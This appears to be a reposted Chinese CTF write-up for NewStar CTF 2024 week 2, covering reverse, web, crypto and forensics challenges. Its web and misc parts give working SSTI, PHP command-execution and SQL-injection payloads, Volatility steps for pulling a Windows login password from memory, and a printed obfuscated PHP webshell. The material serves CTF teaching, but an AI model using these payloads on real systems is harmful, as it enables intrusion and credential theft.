逆向的第一步永远都是先用 DIE 查看文件基本信息,发现无壳,文件为 64 位,用 IDA64 打开

DIE

主函数的逻辑很简单,就是先判读输入字符串的长度是否为 32,然后再和 key 进入一个加密函数

主函数

而这个加密就是大名鼎鼎的 TEA 算法,以后我们几乎会在所有比赛看到这个算法以及它的变形

TEA

解密脚本:

#include <stdio.h>
#include <stdint.h>

//解密函数
void decrypt (uint32_t* v, uint32_t* k) {
    uint32_t v0 = v[0], v1 = v[1], i;  
    uint32_t delta = 2654435769;   
    uint32_t sum = (32)*delta;                  
    uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];  
    for (i = 0; i < 32; i++) {                         // 解密时将加密算法的顺序倒过来,+= 变为 -=
        v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
        v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
        sum -= delta;
    }                                              
    v[0] = v0; v[1] = v1; // 解密后再重新赋值
}


unsigned char keys[] = "WelcomeToNewStar";
unsigned char cipher[] = { 0x78,0x20,0xF7,0xB3,0xC5,0x42,0xCE,0xDA,0x85,0x59,0x21,0x1A,0x26,0x56,0x5A,0x59,0x29,0x02,0x0D,0xED,0x07,0xA8,0xB9,0xEE,0x36,0x59,0x11,0x87,0xFD,0x5C,0x23,0x24 };
int main()
{
    unsigned char a;
    uint32_t *v = (uint32_t*)cipher;
    uint32_t *k = (uint32_t*)keys;
    // v 为要加密的数据是 n 个 32 位无符号整数
    // k 为加密解密密钥,为 4 个 32 位无符号整数,即密钥长度为 128 位

    for (int i = 0; i < 8; i += 2)
    {
        decrypt(v + i, k);
        // printf("解密后的数据:%u %u\n", v[i], v[i+1]);
    }

    for (int i = 0; i < 32; i++) {
        printf("%c", cipher[i]);
    }

    return 0;
}

Dirty_flowers

考查内容是花指令,但是事实上新生在 week2 就学过汇编还是不敢奢望,因此实际考查内容是学习怎么用 nop 改汇编指令。

按下 ⇧ ShiftF12 查找字符串就可以发现提示。

提示说将 0x4012f1~0x401302的指令全部改成 nop 指令,随后在函数头位置按下 U P.

在此不对这段的花指令再进行解释,自己模拟一遍栈帧操作即可理解。

花指令

将从 push eax 到 pop eax 这一段全部 nop 掉。

nop

然后在函数头位置按下 U P,再按下 F5,即可正确反编译。

反编译结果

稍微分析一下,将几个函数重命名一下。在函数名位置处按下 N,进行重命名。

重命名

基本思路就是先判断长度是否是 36,再进行加密,最后比较。

点进 check 函数可以找到密文,但是点进加密函数却发现 IDA 再次飘红。

飘红

可以很容易发现加密函数里面的花指令与主函数的花指令完全一样。因此再操作一遍即可。

nop

反编译结果

加密函数非常简单。

# exp.py
lis = [0x02, 0x05, 0x13, 0x13, 0x02, 0x1e, 0x53, 0x1f, 0x5c, 0x1a, 0x27, 0x43, 0x1d, 0x36, 0x43,
       0x07, 0x26, 0x2d, 0x55, 0x0d, 0x03, 0x1b, 0x1c, 0x2d, 0x02, 0x1c, 0x1c, 0x30, 0x38, 0x32,
       0x55, 0x02, 0x1b, 0x16, 0x54, 0x0f]
str = "dirty_flower"
flag = ""
for i in range(len(lis)):
    lis[i] ^= ord(str[i % len(str)])
    flag += chr(lis[i])
print(flag)
# flag{A5s3mB1y_1s_r3ally_funDAm3nta1}

 三.Web

你能在一秒内打出八句英文吗

经典脚本题,思路:先获取页面中需要输入的英文文本,再提交你获得的的文本。

这里推荐模拟 POST 请求,直接来看 EXP:

import requests
from bs4 import BeautifulSoup

session = requests.Session()

url = "http://127.0.0.1/start"
response = session.get(url)

if response.status_code == 200:
    soup = BeautifulSoup(response.text, 'html.parser')
    text_element = soup.find('p', id='text')
    if text_element:
        value = text_element.get_text()
        print(f"{value}")
        submit_url = "http://127.0.0.1/submit"
        payload = {'user_input': value}
        post_response = session.post(submit_url, data=payload)
        print(post_response.text)
else:
    print(f"{response.status_code}")

requests 库可以很方便的进行会话控制,BeautifulSoup 可以帮你快速定位文本位置。剩下就是 POST 请求 + 打印回显。

当然,解法很多,你也可以使用 Selenium 等库模拟浏览器操作,又或者装一些浏览器插件凭手速把文本直接复制过去再提交,随你喜欢。

遗失的拉链

拉链的英文是 zip,这里也是考的 www.zip 泄露

可以看到存在 www.zip 泄露,访问后下载、解压得到源代码

pizwww.php 内容如下:

<?php
error_reporting(0);
//for fun
if(isset($_GET['new'])&&isset($_POST['star'])){
    if(sha1($_GET['new'])===md5($_POST['star'])&&$_GET['new']!==$_POST['star']){
        //欸 为啥sha1和md5相等呢
        $cmd = $_POST['cmd'];
        if (preg_match("/cat|flag/i", $cmd)) {
            die("u can not do this ");
        }
        echo eval($cmd);
    }else{
        echo "Wrong";

    }
}

PHP 中使用这些函数处理数组的时候会报错返回 NULL 从而完成绕过

命令执行过滤了 cat,使用 tac 代替。flag被过滤,使用 fla* 通配符绕过

HackBar 传参

或者这样:cmd=echo file_get_contents("/fla"."g");

复读机

可以看到,输入什么就输出什么

输入 { { 7*7 }} 的时候,输出的结果是 49,说明存在 SSTI 注入

输入 { { [].__class__}},发现 bot 显示不喜欢上课,说明 class 被过滤了,可以使用简单的拼接绕过

{
   
   {'{'+`{[]['__cl'+'ass__']}`+'}'}}

得到 list 类

简单的 SSTI

后面就是基本的注入方法了

获取 object 类

{
   
   {()['__cl'+'ass__']['__base__']}}
{
   
   {()['__cl'+'ass__']['__base__']['__subcl'+'asses__']}}

获取 object 类

找一个可以利用的类,这里选用 os._wrap_close

{
   
   {()['__cl'+'ass__']['__base__']['__subcl'+'asses__'][132]}}

获取 os._wrap_close

然后就是拿到 eval 方法,命令执行就行

{
   
   {()['__cl'+'ass__']['__base__']['__subcl'+'asses__']()[132]['__init__']['__globals__']['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

命令执行

方法很多,大家可以自己试试

PangBai 过家家(2)

题目所给出的提示是文件泄露(其实用 dirsearch 等扫描工具也可以扫描到 .git 目录)。

任务一

使用 GitHacker 工具从 .git 文件夹中泄露文件到本地。

使用githacker

关于 GitHacker

GitHacker 工具可快速使用 pip 安装:

pip install githacker

随后进入 output 文件夹,可以看到恢复的网站源码:

查看恢复的源码

可以使用 git 命令查看当前项目的信息,比如使用 git log 查看提交历史

查看提交历史

使用 git reset HEAD~1 可以回到上一个 Commit,或者直接使用 VSCode 打开泄露出来的 Git 存储库,能够更可视化地查看提交历史。

但是很遗憾,提交历史中并没有有价值的东西。查看 Stash:

git stash list

git stash 输出信息

可以看到 Stash 中含有后门(实际上在 GitHacker 泄漏时就有 stash 的输出信息)

注意

如果使用 GitHack 或其它的一些 Git 泄露获取工具,可能并不支持恢复 Stash.

Stash 的作用

有时会遇到这样的情况,我们正在 dev 分支开发新功能,做到一半时有人过来反馈一个 bug,让马上解决,但是又不方便和现在已经更改的内容混杂在一起,这时就可以使用 git stash 命令先把当前进度保存起来。随后便可以即时处理当前要处理的内容。使用 git stash pop 则可以将之前存储的内容重新恢复到工作区。

又或者,我们已经在一个分支进行了修改,但发现自己修改错了分支,可以通过 Stash 进行存储,然后到其它分支中释放。

一些常见的 Stash 命令如:

  • git stash

    保存当前工作进度,会把暂存区和工作区的改动保存起来。执行完这个命令后,在运行 git status 命令,就会发现当前是一个干净的工作区,没有任何改动。使用 git stash save '一些信息' 可以添加一些注释。

  • git stash pop [-index] [stash_id]

    从 Stash 中释放内容,默认为恢复最新的内容到工作区。

使用 git stash pop 恢复后门文件到工作区。

恢复文件

发现了后门文件 BacKd0or.v2d23AOPpDfEW5Ca.php,访问显示:

访问后门文件对应的网址

由于 git stash pop 已经将文件释放了出来,我们可以直接查看后门的源码:

<?php

# Functions to handle HTML output

function print_msg($msg) {
    $content = file_get_contents('index.html');
    $content = preg_replace('/\s*<script.*<\/script>/s', '', $content);
    $content = preg_replace('/ event/', '', $content);
    $content = str_replace('点击此处载入存档', $msg, $content);
    echo $content;
}

function show_backdoor() {
    $content = file_get_contents('index.html');
    $content = str_replace('/assets/index.4f73d116116831ef.js', '/assets/backdoor.5b55c904b31db48d.js', $content);
    echo $content;
}

# Backdoor

if ($_POST['papa'] !== 'TfflxoU0ry7c') {
    show_backdoor();
} else if ($_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewStar_CTF.2024'])) {
    print_msg('PangBai loves you!');
    call_user_func($_POST['func'], $_POST['args']);
} else {
    print_msg('PangBai hates you!');
}

后面的考点是 PHP 中关于非法参数名传参问题。我们重点关注下面这个表达式:

$_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewStar_CTF.2024'])

对于这个表达式,可以使用换行符绕过。preg_match 默认为单行模式(此时 . 会匹配换行符),但在 PHP 中的该模式下,$ 除了匹配整个字符串的结尾,还能够匹配字符串最后一个换行符。

拓展

如果加 D 修饰符,就不匹配换行符:

preg_match('/^Welcome$/D', "Welcome\n")

但如果直接传参 NewStar_CTF.2024=Welcome%0A 会发现并没有用。这是由 NewStar_CTF.2024 中的特殊字符 . 引起的,PHP 默认会将其解析为 NewStar_CTF_2024. 在 PHP 7 中,可以使用 [ 字符的非正确替换漏洞。当传入的参数名中出现 [ 且之后没有 ] 时,PHP 会将 [ 替换为 _,但此之后就不会继续替换后面的特殊字符了因此,GET 传参 NewStar[CTF.2024=Welcome%0a 即可,随后传入 call_user_func 的参数即可。

获取到 flag

谢谢皮蛋 plus

同样还是联合注入,意在考查空格和 and 的绕过,为了避免直接使用报错注入得到 flag,将报错注入 ban 了

preg_match_all("/ |extractvalue|updataxml|and/i",$id)

值得注意的一个点是,这题是双引号闭合,如果没有细心的检查会误以为是单引号闭合

注意引号的闭合种类

双引号中带有单引号也可以执行成功,属于 MySQL 的一种特性,可以自行尝试一下

双引号中带有单引号也可以执行成功

and 使用 && 替换,空格使用 /**/ 替换,其他就是一样的操作了

查询当前数据库

-1"/**/union/**/select/**/1,database()#

查询所有表名

-1"/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/=/**/database()#

查询所有列名

-1"/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/=/**/'Fl4g'/**/&&/**/table_schema/**/=/**/database()#

得到flag

-1"/**/union/**/select/**/group_concat(des),group_concat(value)/**/from/**/Fl4g#

三. Crypto

这是几次方? 疑惑

题目

题目描述如下

^ w ^

^ 小猫的眼睛在 Python 里面到底是什么意思?不如先看看大蟒蛇运算符号的优先级吧

题目代码如下

python

from Crypto.Util.number import *


flag = b'flag{*****}'
p = getPrime(512)
q = getPrime(512)
n = p*q
e = 65537

m = bytes_to_long(flag)
c = pow(m, e, n)

hint = p^e + 10086

print("c =", c)
print("[n, e] =", [n, e])
print("hint =", hint)
'''
c = 36513006092776816463005807690891878445084897511693065366878424579653926750135820835708001956534802873403195178517427725389634058598049226914694122804888321427912070308432512908833529417531492965615348806470164107231108504308584954154513331333004804817854315094324454847081460199485733298227480134551273155762
[n, e] = [124455847177872829086850368685666872009698526875425204001499218854100257535484730033567552600005229013042351828575037023159889870271253559515001300645102569745482135768148755333759957370341658601268473878114399708702841974488367343570414404038862892863275173656133199924484523427712604601606674219929087411261, 65537]
hint = 12578819356802034679792891975754306960297043516674290901441811200649679289740456805726985390445432800908006773857670255951581884098015799603908242531673390
'''

出题思路:之前有遇到过运算符优先级的易错点,便拿来出题,异或运算符是先计算两边再进行异或的

解析

结合题目描述,在网上搜索并用 AI 解读描述

用 AI 解读

在 Python 中异或先计算两边,再进行异或操作

EXP

from Crypto.Util.number import *
c = 36513006092776816463005807690891878445084897511693065366878424579653926750135820835708001956534802873403195178517427725389634058598049226914694122804888321427912070308432512908833529417531492965615348806470164107231108504308584954154513331333004804817854315094324454847081460199485733298227480134551273155762
n, e = 124455847177872829086850368685666872009698526875425204001499218854100257535484730033567552600005229013042351828575037023159889870271253559515001300645102569745482135768148755333759957370341658601268473878114399708702841974488367343570414404038862892863275173656133199924484523427712604601606674219929087411261, 65537
hint = 12578819356802034679792891975754306960297043516674290901441811200649679289740456805726985390445432800908006773857670255951581884098015799603908242531673390

p = hint ^ e + 10086
q = n // p
phi = (p-1)*(q-1)
d = inverse(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m).decode())
# flag{yihuo_yuan_lai_xian_ji_suan_liang_bian_de2333}

Since you konw something

题目代码如下

from pwn import xor
# The Python pwntools library has a convenient xor() function that can XOR together data of different types and lengths
from Crypto.Util.number import bytes_to_long

key = ?? # extremely short
FLAG = 'flag{????????}'
c = bytes_to_long(xor(FLAG,key))

print("c={}".format(c))

'''
c=218950457292639210021937048771508243745941011391746420225459726647571
'''

又是简单的签到题,出现了上周的老朋友 xor()

此题注释非常重要,希望新生能够充分地利用泄露的信息,即 flag 的前一部分

这道题可以关注的地方是 flag 的格式是明确的 flag{  开头,结合注释,key 极短,直接把 c 和 flag{  异或一下看看

from pwn import xor
from Crypto.Util.number import long_to_bytes

flag_head = 'flag{'
c=218950457292639210021937048771508243745941011391746420225459726647571
guess_key = xor(long_to_bytes(c), flag_head)
print(guess_key)
# b"nsnsnL2gVcf/xKa}1MQ8z@m'aa1`t"

可以看到,key 的前一部分是重复的 ns,不难猜测 key 就是 ns

from pwn import xor
from Crypto.Util.number import long_to_bytes
c=218950457292639210021937048771508243745941011391746420225459726647571
key='ns'
flag = xor(long_to_bytes(c),key)
print(flag)
# b'flag{Y0u_kn0w_th3_X0r_b3tt3r}'

希望大家都能签到成功喵 ~

just one and more than two

很常见的 RSA 板子题。在一般的 RSA 中,我们有

如果你不知道,那就再回去温习一下 Week 1 中对于 RSA 的相关知识

针对 just one 的情况:

针对 more than two 的情况:

其他和普通 RSA 一样解即可

实际上还会有其他情况,只要大家对欧拉函数有足够的了解,这类问题一定可以迎刃而解的

from Crypto.Util.number import *
p=11867061353246233251584761575576071264056514705066766922825303434965272105673287382545586304271607224747442087588050625742380204503331976589883604074235133
q=11873178589368883675890917699819207736397010385081364225879431054112944129299850257938753554259645705535337054802699202512825107090843889676443867510412393
r=12897499208983423232868869100223973634537663127759671894357936868650239679942565058234189535395732577137079689110541612150759420022709417457551292448732371
c1=8705739659634329013157482960027934795454950884941966136315983526808527784650002967954059125075894300750418062742140200130188545338806355927273170470295451
c2=1004454248332792626131205259568148422136121342421144637194771487691844257449866491626726822289975189661332527496380578001514976911349965774838476334431923162269315555654716024616432373992288127966016197043606785386738961886826177232627159894038652924267065612922880048963182518107479487219900530746076603182269336917003411508524223257315597473638623530380492690984112891827897831400759409394315311767776323920195436460284244090970865474530727893555217020636612445
e=65537

phi_1 = p-1
d1 = inverse(e, phi_1)
m1 = pow(c1, d1, p)

phi_2 = (p-1)*(q-1)*(r-1)
d2 = inverse(e, phi_2)
m2 = pow(c2, d2, p*q*r)

print(long_to_bytes(m1)+long_to_bytes(m2))
# b'flag{Y0u_re4lly_kn0w_Euler_4nd_N3xt_Eu1er_is_Y0u!}'

茶里茶气

简单的 TEA(Tiny Encryption Algorithm)加密算法

只需要逆推一下过程,然后把字符串拼接在一起转成字符即可

对于 v2 这个变量,先进行正推得到最终值,再倒退进行解密(数量级不大,使用乘法和加法都可以)

注意每一步都要取模

v2 = 0
delta = 462861781278454071588539315363
v3 = 489552116384728571199414424951
v4 = 469728069391226765421086670817
v5 = 564098252372959621721124077407
v6 = 335640247620454039831329381071
l  = 199
p  = 446302455051275584229157195942211
v0 = 190997821330413928409069858571234
v1 = 137340509740671759939138452113480

for i in range( 32 ):
    v2 += delta ; v2 %= p

for i in range(32):
    v2 -= delta ; v2 %= p
    v0 -= (v1+v2) ^ ( 8*v1 + v5 ) ^ ( (v1>>7) + v6 ) ; v0 %= p
    v1 -= (v0+v2) ^ ( 8*v0 + v3 ) ^ ( (v0>>7) + v4 ) ; v1 %= p

a = hex((v0<<((l//2))) + v1)[2:]

flag = ""
for i in range(0,len(a),2):
    flag += chr(int(a[i]+a[i+1],16))

print(flag)
# flag{f14gg9_te2_1i_7ea_7}

四.Misc

wireshark_checkin

这么多数据包,先快速找到主要部分。

快速找主要部分

标绿色的是http协议相关的,鼠标左键点击 GET /reverse.c 这个条目,看 Wireshark 界面左下角,写着一个 Port: 7070,这个是 HTTP 服务器的开放端口。

找到 HTTP 服务器的端口

接下来点击最上面的搜索框,输入 tcp.port == 7070,这样就可以快速过滤出所有有关这个端口的 TCP 报文

过滤报文

TIP

HTTP 协议是建立在 TCP 协议之上的,这里的 tcp.port == 7070 是过滤出所有有关这个端口的 TCP 报文,而 HTTP 在这个端口之上,因此也相当于过滤出了所有有关这个端口的 HTTP 报文。

这样变得好看多了,但是还不够清晰,因为这里包含了所有有关这个端口的 TCP/HTTP 请求和响应,假如只想看其中一个 HTTP 请求的流程:看 GET /flag.txt 这个条目

找到 flag.txt

有一个 Src port: 33751,所以过滤器写 tcp.port == 33751,因为同一个 HTTP 请求和响应的客户端用的是同一个端口。这样就能只看有关 flag.txt 的这次请求和响应的所有过程。

只看 flag.txt

这就是 3 次握手和四次挥手。

3 次握手

4 次挥手

但是下面这个,只有一个 FIN,怎么回事?

只有一个FIN

因为还有一个 FIN 在 HTTP/1.1 这里面,发送完响应后,就立刻第一次挥手了。

HTTP/1.1

flag 在右下角。

wireshark_secret

学会怎么从一个 HTTP 响应的流量中导出图片。

点击 secret.png 这个数据包。

左下角找到 File Data 这个字段,右键,点击导出分组字节流,然后文件保存为 PNG,就可以打开图片了。

导出图片

flag

你也玩原神吗?

题目描述如下

如果你玩原神,那么你看得懂这些提瓦特文字吗?

打开附件,发现 GIF 有白色一闪而逝

可以利用一些网站或工具分离 GIF 的帧,可以发现某一帧是特殊字符

特殊字符

联系题目描述,找到提瓦特文字对照表

左下角文字解密后是 doyouknowfence,提示是「栅栏密码」,右下角文字就是密文

用栅栏密码解密工具解出来,得到 flag

其实可以肉眼看出来,提瓦特字母一般是反转了 180° 的艺术字(我知道你肯定能用这个做出来,因为——你也玩原神!)

字里行间的秘密

题目描述为:

我横竖睡不着,仔细看了半夜,才从字缝里看出字来

打开附件,一个名为 flag 的 Word 文件,一个 key.txt.

Word 文件被加密,打开 key.txt,文字有明显的水印特征,放到 vim 或 VSCode 就能看出存在零宽隐写,放到在线网站默认参数,可以拿到 key it_is_k3y.

然后打开 Word 发现没有flag,但 ^ CtrlA 全选发现第二行还是有内容的,将字体改为黑色就可发现 flag.

热心助人的小明同学

拟定难度:简单

出题人:Lufiende

题目简介:

小明的邻居小红忘记了电脑的登录密码,好像设置的还挺复杂的, 现在小红手里只有一个内存镜像(为什么她会有这个?),小明为了帮助邻居就找到了精通电脑的你……

拿到手的是一个叫 image.raw 的文件,由题可知是内存镜像。

不像预期的预期解:使用 Volatility 2 一把梭

什么是 Volatility?这是取证里一个很好用的工具,目前主流的有 2 和 3 两个版本,主流平台都可以使用,其中 Kali 如果进行了完整安装的话应该是自带这个软件的,如果没有 Kali Linux 的话可以前往官网下载。

如果新人在安装过程中出现了一些问题,也没有 Kali 虚拟机,可以先尝试 Windows 下的 Volatility 2 单文件版,当然大家也可以选择其他第三方取证软件,这里不多说了,因为一些第三方软件能一把梭。

这里以 Volatility 2 为例,在使用 Volatility 2 进行取证时,首先分析镜像确定镜像的来源操作系统版本,为进行下面操作做准备。

vol.py -f image.raw imageinfo

imageinfo

可知建议选择的操作系统版本有:Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86. 这里选择第一个(Win7SP1x86_23418)进行尝试,反正不行就试试别的。

确定系统版本后就开始研究怎么拿到密码了,由于简介说过密码「好像设置的还挺复杂的」,又让找出密码明文,爆破是不现实的,在 Volatility 2 和密码明文有关的还有 lsadump,直接梭。

lsadump

开头的 0x48 并不是密码,你可以理解为是一个标志,除开这个你就能得到系统密码:ZDFyVDlfdTNlUl9wNHNTdzByRF9IQUNLRVIh.

为降低难度,随题目附件的文档强调了:

flag格式为:flag{你找到的系统登录密码}

如果选手感觉自己的解题过程是正确的,请确保 flag 括号内的内容是开机时需要输入的登录密码

# 怕大家没有解密的想法于是就没摆上来

所以 flag 为 flag{ZDFyVDlfdTNlUl9wNHNTdzByRF9IQUNLRVIh}

没有意识到一把梭做法怎么办

关于 lsadump 的使用虽然在充分搜索之后能 get 到,但考虑到新人不容易 get,于是把提示留在桌面了。

vol.py -f image.raw --profile=Win7SP1x86_23418 filescan | grep Desktop | grep Users

filescan

发现有可疑文件,Diary.txt 和 Autologon.exe ,使用相关命令提取 Diary.txt

vol.py -f image.raw --profile=Win7SP1x86_23418 dumpfiles -Q 0x00000000f554bf80 --dump-dir=./

提取文件内容为

I think it's too tiring to enter a complex password every time I log in,
so it would be nice if I could log in automatically

结合 Autologon.exe 了解机主可能使用自动登录,通过必应搜索就可以在第一页打开 Microsoft 官方文档。

autologon

其中「LSA 机密加密」是希望大家可以注意到了(出题人在必应搜索「ctf lsa 提取密码」是可以找到 lsadump 的使用的),提示使用 lsadump.

LSA Secrets 是一个注册表位置,存了很多重要的东西,只有 SYSTEM 帐户可以访问 LSA Secrets 注册表位置,在 HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets.

lsass.exe 负责访问和管理 LSA Secrets,当系统需要进行身份验证或访问存储的安全信息时,lsass 进程会从注册表中检索 LSA Secrets,并解密这些信息来完成任务,存密码的叫 DefaultPassword ,也是我们要看的。

有人试过 mimikatz 的插件和 lsass.exe dump,不过这两种方式似乎是通过 wdigest(我其实云了好像是使用的系统不再会自动打开这个所以使用这种方法看不见东西),而且 mimikatz 工具渗透的话很不错,好像取证不大用。

Volatility 3 需要注意的

Volatility 3 在使用 lsadump 时会把前面不属于密码的 H 带进来。

命令为:

python vol.py -f image.raw windows.lsadump.Lsadump

lsadump3

用溯流仪见证伏特台风

题目描述如下

漂亮国也干了。照着 2024 年 7 月 8 日央视新闻的方法来看看隐匿在图片下的东西吧。

新闻视频:漏洞百出!揭露美国炒作“伏特台风”行动计划真相_哔哩哔哩_bilibili

新闻中提到的威胁盟报告里,隐藏在图片下,Domain 下方那个框里所有字符的 16 位小写 MD5,包裹 flag{} 即为 flag.

提示:这个视频就是 WP;运气不好的话,你也许需要使用溯流仪(网站时光机)。

PS:如果你眼力好,肉眼能从视频读出来,也是你的水平。祝你玩得开心。

第一步,打开新闻视频的链接

bilibili1

bilibili2

根据视频,我们获得以下信息:

  • 所需报告:The Rise of Dark Power...
  • 对应版本:最初 4 月 15 日版本
  • 现状:所需信息已经被篡改

我们直接搜索报告名称

google

duckduckgo

可以看到我们需要的 PDF 文件,但是视频中又提到报告内容已经被篡改

篡改

所以现版本肯定是没有我们所需的信息的

出题人之前运气好,搜到过可以直接下载的原始版本 PDF,直接就可以开做。

但运气不好怎么办呢?我们请出我们的网站时光机—— wayback machine.

wayback 1

输入官网链接,启动溯流仪,正好有 4 月 15 日的版本。

wayback 2

wayback 3

下载文件,剩下的内容就和视频中演示的一样了。

移开封底图片,拿到 Domain 框里的东西,然后 MD5,

当然,你要是能用肉眼直接把视频里的模糊信息读出来,出题人也认了。

domain

md5

包上 flag,得到 flag{6c3ea51b6f9d4f5e}.

Herta's Study

本题考点:PHP 混淆,流量分析

建议配合 unknown 师傅的前两道流量题食用

第七条流量是上传的 PHP 木马

<?php
    $payload=$_GET['payload'];
    $payload=shell_exec($payload);
    $bbb=create_function(
        base64_decode('J'.str_rot13('T').'5z'),
        base64_decode('JG5zPWJhc2U2NF9lbmNvZGUoJG5zKTsNCmZvcigkaT0wOyRpPHN0cmxlbigkbnMpOyRp
        Kz0xKXsNCiAgICBpZigkaSUy'.str_rot13('CG0kXKfAPvNtVPNtVPNtWT5mJlEcKG1m').'dHJfcm90MTMoJG5zWyRpXSk7DQo
        gICAgfQ0KfQ0KcmV0dXJuICRuczs==')
    );
    echo $bbb($payload);
?>

可以搜索一下 create_funtion() 函数,解除混淆后得到加密代码

$ns = base64_encode($ns);
for ($i = 0; $i < strlen($ns); $i += 1){
    if ($i % 2 == 1) {
        $ns[$i] = str_rot13($ns[$i]);
    }
}
return $ns;

就是 Base64 后把奇数位 ROT13

解码反过来就行(第38条,f.txt 里的是真 flag,另一个是假 flag)

<?php
$ns = 'ZzxuZ3tmSQNsaGRsUmBsNzVOdKQkZaVZLa0tCt==';
for ($i = 0; $i < strlen($ns); $i += 1){
    if ($i % 2 == 1) {
        $ns[$i] = str_rot13($ns[$i]);
    }
}
echo base64_decode($ns);
// flag{sH3_i4_S0_6eAut1fuL.}
?>

猜你喜欢

转载自blog.csdn.net/qq_65165505/article/details/143209872
今日推荐